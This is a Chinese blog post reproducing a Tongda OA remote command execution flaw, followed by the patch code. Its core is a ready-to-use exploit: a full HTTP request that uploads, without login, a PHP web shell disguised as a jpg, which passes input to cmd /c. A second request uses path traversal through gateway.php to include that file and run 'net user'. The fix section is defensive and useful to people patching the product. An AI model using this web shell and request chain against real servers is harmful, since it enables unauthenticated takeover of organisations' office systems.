通达oa 不允许从该ip登陆_通达OA-命令执行漏洞复现

ac52e6d642fc28edab50e06b4364400e.png

45e38477eac79a8a4263949916fed197.png

通达OA-命令执行

一、环境

安装文件:

链接:https://pan.baidu.com/s/1Y78Zs-7Igi4MRE0J_Dp-dQ 提取码:2b3i

da6c25f1e2bb1fa312bbbbd95732a4e7.png

二、漏洞验证

任意文件上传漏洞 /ispirit/im/upload.php

本地文件包含漏洞 /ispirit/interface/gateway.php

这两个路径不需要登录认证。

burp抓包修改数据包上传文件

POST /ispirit/im/upload.php HTTP/1.1

Host: 127.0.0.1:8080

Content-Length: 658

Cache-Control: no-cache

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36

Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB

Accept: */*

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5

Cookie: PHPSESSID=123

Connection: close

------WebKitFormBoundarypyfBh1YB4pV8McGB

Content-Disposition: form-data; name="UPLOAD_MODE"

2

------WebKitFormBoundarypyfBh1YB4pV8McGB

Content-Disposition: form-data; name="P"

123

------WebKitFormBoundarypyfBh1YB4pV8McGB

Content-Disposition: form-data; name="DEST_UID"

1

------WebKitFormBoundarypyfBh1YB4pV8McGB

Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"

Content-Type: image/jpeg

$command=$_POST['cmd'];

$wsh = new COM('WScript.shell');

$exec = $wsh->exec("cmd /c ".$command);

$stdout = $exec->StdOut();

$stroutput = $stdout->ReadAll();

echo $stroutput;

?>

------WebKitFormBoundarypyfBh1YB4pV8McGB--

上传成功

ad0636761946ac4263a285617062c38c.png

查看返回数据包

HTTP/1.1200OKServer: nginxDate: Wed, 18 Mar 2020 12:12:58 GMTContent-Type: text/html; charset=gbkConnection: closeVary: Accept-EncodingSet-Cookie: PHPSESSID=123; path=/Expires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0Pragma: no-cacheX-Frame-Options: SAMEORIGINContent-Length: 41​+OK[vm]143263@2003_1787828218|jpg|0[/vm]

文件包含的filename=2003/1787828218.jpg

继续修改数据包 包含前面的文件名称,并且执行系统命令

POST/mac/gateway.phpHTTP/1.1Host: 127.0.0.1:8080Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: python-requests/2.21.0Content-Length: 74Content-Type: application/x-www-form-urlencoded​​json={"url":"/general/../../attach/im/2003/1787828218.jpg"}&cmd=net user

命令执行成功

e53d18cbf709c5aa85e42cb0f6da1c3d.png

上面验证方式是通过burp抓包验证成功

下面通过python脚本验证:

b6031cf59c09ea0bf5465301bdcd1882.png

成功命令执行

三、修复代码

补丁修复 /ispirit/im/upload.php

原文件代码:

set_time_limit(0);

$P = $_POST['P'];

if (isset($P) || $P != '') {

ob_start();

include_once 'inc/session.php';

session_id($P);

session_start();

session_write_close();

} else {

include_once './auth.php';

}

修改后代码

删掉了else判断,直接包含/auth.php

//lp 2012/11/29 1:26:01 兼容客户端提交数据时无session的情况

if(isset($P) || $P!="")

{

ob_start();

include_once("inc/session.php");

session_id($P);

session_start();

session_write_close();

}

include_once("./auth.php");

auth.php

这里就直接判断用的是否登录

include_once 'inc/session.php';

session_start();

session_write_close();

include_once 'inc/conn.php';

include_once 'inc/utility.php';

ob_start();

if (!isset($_SESSION['LOGIN_USER_ID']) || $_SESSION['LOGIN_USER_ID'] == '' || !isset($_SESSION['LOGIN_UID']) || $_SESSION['LOGIN_UID'] == '') {

sleep(1);

if (!isset($_SESSION['LOGIN_USER_ID']) || $_SESSION['LOGIN_USER_ID'] == '' || !isset($_SESSION['LOGIN_UID']) || $_SESSION['LOGIN_UID'] == '') {

echo '-ERR ' . _('用户未登陆');

exit;

}

}

四、参考文档

https://github.com/jas502n/OA-tongda-RCE

https://www.cnblogs.com/potatsoSec/p/12516234.html

​公众号:

f620091c2c962b6ba5861260b9305ab9.png

thelostworld:

dd74608ad421380ce25310e83baecd39.png

个人知乎​:https://www.zhihu.com/people/fu-wei-43-69/columns

​个人简书:https://www.jianshu.com/u/bf0e38a8d400

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值